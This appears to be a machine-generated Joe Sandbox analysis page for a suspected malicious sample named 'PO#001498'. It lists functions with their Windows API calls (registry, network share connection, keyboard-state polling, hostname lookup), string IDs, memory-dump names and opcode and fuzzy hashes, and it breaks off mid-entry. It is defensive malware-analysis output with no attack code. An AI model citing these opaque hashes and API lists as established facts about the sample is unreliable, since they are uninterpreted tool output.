                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: BuffCharDriveLowerType_wcscpy_wcslen
                                                                                                                                                                                • String ID: a$all$cdrom$fixed$network$ramdisk$removable$unknown$HH
                                                                                                                                                                                • API String ID: 3052893215-4176887700
                                                                                                                                                                                • Opcode ID: 531685fb0cf90d6ae2ec3f9560420c3d557b818d2d0e5f32259ad5e7ccb69ffd
                                                                                                                                                                                • Instruction ID: 30c0e749cffa51fc832ec364bb88d57898ea161693411a08ebb212f54f1b1ce2
                                                                                                                                                                                • Opcode Fuzzy Hash: 531685fb0cf90d6ae2ec3f9560420c3d557b818d2d0e5f32259ad5e7ccb69ffd
                                                                                                                                                                                • Instruction Fuzzy Hash: E951E5716047009BC710EF51D981B9BB3D4AB85705F108C2FF948AB382D7B9DE09879B
                                                                                                                                                                                Function 004582BF Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 165registryCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • StringFromIID.OLE32(?,?,00000003,?,?,00000000), ref: 004582E5
                                                                                                                                                                                  • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                                  • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                                  • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                • CoTaskMemFree.OLE32(?,00000000), ref: 00458335
                                                                                                                                                                                • RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,?), ref: 00458351
                                                                                                                                                                                • RegQueryValueExW.ADVAPI32 ref: 00458381
                                                                                                                                                                                • CLSIDFromString.OLE32(00000000,?), ref: 004583AF
                                                                                                                                                                                • RegQueryValueExW.ADVAPI32 ref: 004583E8
                                                                                                                                                                                • LoadRegTypeLib.OLEAUT32(?,?), ref: 00458486
                                                                                                                                                                                  • Part of subcall function 00413F97: __wtof_l.LIBCMT ref: 00413FA1
                                                                                                                                                                                • RegCloseKey.ADVAPI32(?), ref: 004584BA
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: FromQueryStringValue_wcslen$CloseFreeLoadOpenTaskType__wtof_l_wcscpy
                                                                                                                                                                                • String ID: Version$\TypeLib$interface\
                                                                                                                                                                                • API String ID: 656856066-939221531
                                                                                                                                                                                • Opcode ID: fae0be2ce993580ee9701cb6b1f6a998fde8705fa16d3e1feab2af977247b743
                                                                                                                                                                                • Instruction ID: 73379605cfaaf105ee685c6daddaf2c4824f5dc828714578f474d0d05c7db838
                                                                                                                                                                                • Opcode Fuzzy Hash: fae0be2ce993580ee9701cb6b1f6a998fde8705fa16d3e1feab2af977247b743
                                                                                                                                                                                • Instruction Fuzzy Hash: 19513B715083059BD310EF55D944A6FB3E8FFC8B08F004A2DF985A7251EA78DD09CB9A
                                                                                                                                                                                Function 0045E62E Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 155COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • LoadStringW.USER32(?,00000066,?,00000FFF), ref: 0045E676
                                                                                                                                                                                  • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                • LoadStringW.USER32(?,?,?,00000FFF), ref: 0045E69A
                                                                                                                                                                                • __swprintf.LIBCMT ref: 0045E6EE
                                                                                                                                                                                • _printf.LIBCMT ref: 0045E7A9
                                                                                                                                                                                • _printf.LIBCMT ref: 0045E7D2
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: LoadString_printf$__swprintf_wcslen
                                                                                                                                                                                • String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                                                                                                                                                                • API String ID: 3590180749-2354261254
                                                                                                                                                                                • Opcode ID: fd3ade05fede2dfa3d14bccfacac15f81e3d16141c85e45952f832d3a26197ce
                                                                                                                                                                                • Instruction ID: 835382aeb01427732dc6b750cf2ba574ed77461063debdd42288bdc21f9728b4
                                                                                                                                                                                • Opcode Fuzzy Hash: fd3ade05fede2dfa3d14bccfacac15f81e3d16141c85e45952f832d3a26197ce
                                                                                                                                                                                • Instruction Fuzzy Hash: B051D5715143019BD324FB51CC41EAF77A8AF84354F14093FF94563292DB78AE49CB6A
                                                                                                                                                                                Function 004580E1 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 136registryshareCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                • _memset.LIBCMT ref: 00458194
                                                                                                                                                                                • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 004581D6
                                                                                                                                                                                • RegConnectRegistryW.ADVAPI32(?,80000002,00000000), ref: 004581F4
                                                                                                                                                                                • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,00000000), ref: 00458219
                                                                                                                                                                                • RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000000,?,?), ref: 00458248
                                                                                                                                                                                • CLSIDFromString.OLE32(00000000,?), ref: 00458279
                                                                                                                                                                                • RegCloseKey.ADVAPI32(00000000), ref: 0045828F
                                                                                                                                                                                • RegCloseKey.ADVAPI32(00000000), ref: 00458296
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memset_wcslen
                                                                                                                                                                                • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                                                                                                                                                                • API String ID: 2255324689-22481851
                                                                                                                                                                                • Opcode ID: 40f125b4ffe5f12493adc0cb93ab67eb911e8c28f62e3d79c4190a4fe5521cad
                                                                                                                                                                                • Instruction ID: 0916ae95de1959dc40878de41837780f7e862baf069d4d5c3429810960799c2e
                                                                                                                                                                                • Opcode Fuzzy Hash: 40f125b4ffe5f12493adc0cb93ab67eb911e8c28f62e3d79c4190a4fe5521cad
                                                                                                                                                                                • Instruction Fuzzy Hash: 4A4190725083019BD320EF54C845B5FB7E8AF84714F044D2EFA8577291DBB8E949CB9A
                                                                                                                                                                                Function 004584D6 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 105registryCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • RegOpenKeyExW.ADVAPI32(80000000,interface,00000000,00020019,?), ref: 00458513
                                                                                                                                                                                • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?), ref: 00458538
                                                                                                                                                                                • RegCloseKey.ADVAPI32(?), ref: 00458615
                                                                                                                                                                                  • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                • RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,000001FE,interface\), ref: 0045858A
                                                                                                                                                                                • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,00000028), ref: 004585A8
                                                                                                                                                                                • __wcsicoll.LIBCMT ref: 004585D6
                                                                                                                                                                                • IIDFromString.OLE32(?,?,?,?), ref: 004585EB
                                                                                                                                                                                • RegCloseKey.ADVAPI32(?), ref: 004585F8
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CloseOpen$EnumFromQueryStringValue__wcsicoll_wcslen
                                                                                                                                                                                • String ID: ($interface$interface\
                                                                                                                                                                                • API String ID: 2231185022-3327702407
                                                                                                                                                                                • Opcode ID: f3ba987632fb2ab980929a1e8c26c1d4f1068388d2a95cb25d4e52b6d927b3fe
                                                                                                                                                                                • Instruction ID: 2ed788c9a442d2de66cb2a0eaf665167c450c6ff9570aaff4df7cfaf3afbbce1
                                                                                                                                                                                • Opcode Fuzzy Hash: f3ba987632fb2ab980929a1e8c26c1d4f1068388d2a95cb25d4e52b6d927b3fe
                                                                                                                                                                                • Instruction Fuzzy Hash: CE317271204305ABE710DF54DD85F6BB3E8FB84744F10492DF685A6191EAB8E908C76A
                                                                                                                                                                                Function 00436582 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 79networkCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • WSAStartup.WSOCK32(00000101,?), ref: 004365A5
                                                                                                                                                                                • gethostname.WSOCK32(00000100,00000100,00000101,?), ref: 004365BC
                                                                                                                                                                                • gethostbyname.WSOCK32(00000101,00000100,00000100,00000101,?), ref: 004365C6
                                                                                                                                                                                • _wcscpy.LIBCMT ref: 004365F5
                                                                                                                                                                                • WSACleanup.WSOCK32 ref: 004365FD
                                                                                                                                                                                • inet_ntoa.WSOCK32(00000100,?), ref: 00436624
                                                                                                                                                                                • _strcat.LIBCMT ref: 0043662F
                                                                                                                                                                                • _wcscpy.LIBCMT ref: 00436644
                                                                                                                                                                                • WSACleanup.WSOCK32(?,?,?,?,?,?,00000100,?), ref: 00436652
                                                                                                                                                                                • _wcscpy.LIBCMT ref: 00436666
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: _wcscpy$Cleanup$Startup_strcatgethostbynamegethostnameinet_ntoa
                                                                                                                                                                                • String ID: 0.0.0.0
                                                                                                                                                                                • API String ID: 2691793716-3771769585
                                                                                                                                                                                • Opcode ID: 65646d0c3f70c30576c3209c49215e1e6413ca059fa52035c9da78ad10046a0d
                                                                                                                                                                                • Instruction ID: 29d249c793a1599df1911ffab6ed89036a29d54f41df1114d8fa63e2d2305339
                                                                                                                                                                                • Opcode Fuzzy Hash: 65646d0c3f70c30576c3209c49215e1e6413ca059fa52035c9da78ad10046a0d
                                                                                                                                                                                • Instruction Fuzzy Hash: 5C21D4726003016BD620FB269C42FFF33A89FD4318F54492FF64456242EABDD58983AB
                                                                                                                                                                                Function 00416B12 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetModuleHandleW.KERNEL32(KERNEL32.DLL,0048C968,0000000C,00416C4D,00000000,00000000,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416B24
                                                                                                                                                                                • __crt_waiting_on_module_handle.LIBCMT ref: 00416B2F
                                                                                                                                                                                  • Part of subcall function 0041177F: Sleep.KERNEL32(000003E8,?,?,00416A38,KERNEL32.DLL,?,00411B0C,?,00413973,00411739,?,?,00411739,?,00401C0B), ref: 0041178B
                                                                                                                                                                                  • Part of subcall function 0041177F: GetModuleHandleW.KERNEL32(00411739,?,?,00416A38,KERNEL32.DLL,?,00411B0C,?,00413973,00411739,?,?,00411739,?,00401C0B), ref: 00411794
                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00416B58
                                                                                                                                                                                • GetProcAddress.KERNEL32(00411739,DecodePointer), ref: 00416B68
                                                                                                                                                                                • __lock.LIBCMT ref: 00416B8A
                                                                                                                                                                                • InterlockedIncrement.KERNEL32(00EA60FF), ref: 00416B97
                                                                                                                                                                                • __lock.LIBCMT ref: 00416BAB
                                                                                                                                                                                • ___addlocaleref.LIBCMT ref: 00416BC9
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
                                                                                                                                                                                • String ID: DecodePointer$EncodePointer$KERNEL32.DLL
                                                                                                                                                                                • API String ID: 1028249917-2843748187
                                                                                                                                                                                • Opcode ID: 149215eb9963fdce733e6eee9b7d54027110d9b9ecd285c2a82fe369659baa59
                                                                                                                                                                                • Instruction ID: dfb830706c011728ae11a8c0f52cb2fa371409e71f4acd403326aacb15a29bdd
                                                                                                                                                                                • Opcode Fuzzy Hash: 149215eb9963fdce733e6eee9b7d54027110d9b9ecd285c2a82fe369659baa59
                                                                                                                                                                                • Instruction Fuzzy Hash: 4E119671944701AFD720EF76C905B9EBBE0AF00714F10495FE469A6391DB78A580CB1D
                                                                                                                                                                                Function 0044920C Relevance: 18.2, APIs: 12, Instructions: 243windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SendMessageW.USER32(?,00000000,000000FF,?), ref: 0044931D
                                                                                                                                                                                • SendMessageW.USER32(?,0045BBB0,00000000,00000000), ref: 0044932D
                                                                                                                                                                                • CharNextW.USER32(?,?,?,?,0045BBB0,00000000,00000000,?,?), ref: 00449361
                                                                                                                                                                                • SendMessageW.USER32(?,?,00000000,00000000), ref: 00449375
                                                                                                                                                                                • SendMessageW.USER32(?,00000402,?), ref: 0044941C
                                                                                                                                                                                • SendMessageW.USER32(004A83D8,000000C2,00000001,?), ref: 004494A0
                                                                                                                                                                                • SendMessageW.USER32(?,00001002,00000000,?), ref: 00449515
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend$CharNext
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1350042424-0
                                                                                                                                                                                • Opcode ID: 5fd89deb92f75c0e0d7406111af65340a6b95ffecf1ba9c2db83920ef449de6e
                                                                                                                                                                                • Instruction ID: cf19a455924c4199ae2d31ef2e344bdd2865620a2145bd440d1f5c61272ee54d
                                                                                                                                                                                • Opcode Fuzzy Hash: 5fd89deb92f75c0e0d7406111af65340a6b95ffecf1ba9c2db83920ef449de6e
                                                                                                                                                                                • Instruction Fuzzy Hash: 5D81B5312083019BE720DF15DC85FBBB7E4EBD9B20F00492EFA54962C0D7B99946D766
                                                                                                                                                                                Function 00453B94 Relevance: 18.2, APIs: 12, Instructions: 188keyboardCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetKeyboardState.USER32(?,?,00000000), ref: 00453C0D
                                                                                                                                                                                • SetKeyboardState.USER32(?), ref: 00453C5A
                                                                                                                                                                                • GetAsyncKeyState.USER32(000000A0), ref: 00453C82
                                                                                                                                                                                • GetKeyState.USER32(000000A0), ref: 00453C99
                                                                                                                                                                                • GetAsyncKeyState.USER32(000000A1), ref: 00453CC9
                                                                                                                                                                                • GetKeyState.USER32(000000A1), ref: 00453CDA
                                                                                                                                                                                • GetAsyncKeyState.USER32(00000011), ref: 00453D07
                                                                                                                                                                                • GetKeyState.USER32(00000011), ref: 00453D15
                                                                                                                                                                                • GetAsyncKeyState.USER32(00000012), ref: 00453D3F
                                                                                                                                                                                • GetKeyState.USER32(00000012), ref: 00453D4D
                                                                                                                                                                                • GetAsyncKeyState.USER32(0000005B), ref: 00453D77
                                                                                                                                                                                • GetKeyState.USER32(0000005B), ref: 00453D85
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: State$Async$Keyboard
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 541375521-0
                                                                                                                                                                                • Opcode ID: 439544d7db57c6269f5a832870b7215b314e2d5ec2fc8731d7b6f8ebe45629c5
                                                                                                                                                                                • Instruction ID: 09d2c23b2f41f951af40c960ff4fa7a39ed3d74d48f5bb091813d5d41b5bf946
                                                                                                                                                                                • Opcode Fuzzy Hash: 439544d7db57c6269f5a832870b7215b314e2d5ec2fc8731d7b6f8ebe45629c5
                                                                                                                                                                                • Instruction Fuzzy Hash: BD5108311497C42AF731EF6048217A7BBE45F52782F488D5EE9C107283E619AB0C976B
                                                                                                                                                                                Function 00437DB1 Relevance: 18.2, APIs: 12, Instructions: 180COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetDlgItem.USER32(?,00000001), ref: 00437DD7
                                                                                                                                                                                • GetWindowRect.USER32(00000000,?), ref: 00437DE9
                                                                                                                                                                                • MoveWindow.USER32(00000000,0000000A,?,?,?,00000000), ref: 00437E5C
                                                                                                                                                                                • GetDlgItem.USER32(?,00000002), ref: 00437E70
                                                                                                                                                                                • GetWindowRect.USER32(00000000,?), ref: 00437E82
                                                                                                                                                                                • MoveWindow.USER32(00000000,?,00000000,?,?,00000000), ref: 00437EDB
                                                                                                                                                                                • GetDlgItem.USER32(?,000003E9), ref: 00437EEA
                                                                                                                                                                                • GetWindowRect.USER32(00000000,?), ref: 00437EFC
                                                                                                                                                                                • MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00437F46
                                                                                                                                                                                • GetDlgItem.USER32(?,000003EA), ref: 00437F55
                                                                                                                                                                                • MoveWindow.USER32(00000000,0000000A,0000000A,?,-000000FB,00000000), ref: 00437F6E
                                                                                                                                                                                • InvalidateRect.USER32(?,00000000,00000001), ref: 00437F78
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Window$ItemMoveRect$Invalidate
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3096461208-0
                                                                                                                                                                                • Opcode ID: 85b2574db82c4a067caaf632f6dab2f3668a9f7fdedc9eb4d1c33f4a9692aa02
                                                                                                                                                                                • Instruction ID: 6334a21bf5495bf578199e0a0c43900503e40640961724061e29feeedb49a886
                                                                                                                                                                                • Opcode Fuzzy Hash: 85b2574db82c4a067caaf632f6dab2f3668a9f7fdedc9eb4d1c33f4a9692aa02
                                                                                                                                                                                • Instruction Fuzzy Hash: 46511CB16083069FC318DF68DD85A2BB7E9ABC8300F144A2DF985D3391E6B4ED058B95
                                                                                                                                                                                Function 00436879 Relevance: 18.1, APIs: 12, Instructions: 115COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: _wcscat_wcscpy$__wsplitpath$_wcschr
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 136442275-0
                                                                                                                                                                                • Opcode ID: 8bb1124220d8f68122d0f1a8633f784f40ed2a0c71bdd1f95919e960fb23027d
                                                                                                                                                                                • Instruction ID: e47e2093bf76b35e8f1fec89578fc46911e8a4506192668d3a16ce6d5165f020
                                                                                                                                                                                • Opcode Fuzzy Hash: 8bb1124220d8f68122d0f1a8633f784f40ed2a0c71bdd1f95919e960fb23027d
                                                                                                                                                                                • Instruction Fuzzy Hash: 744124B2408345ABC235E754C885EEF73ECABD8314F44891EB68D42141EB796688C7A7
                                                                                                                                                                                Function 0046B39A Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 401registryCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046B479
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
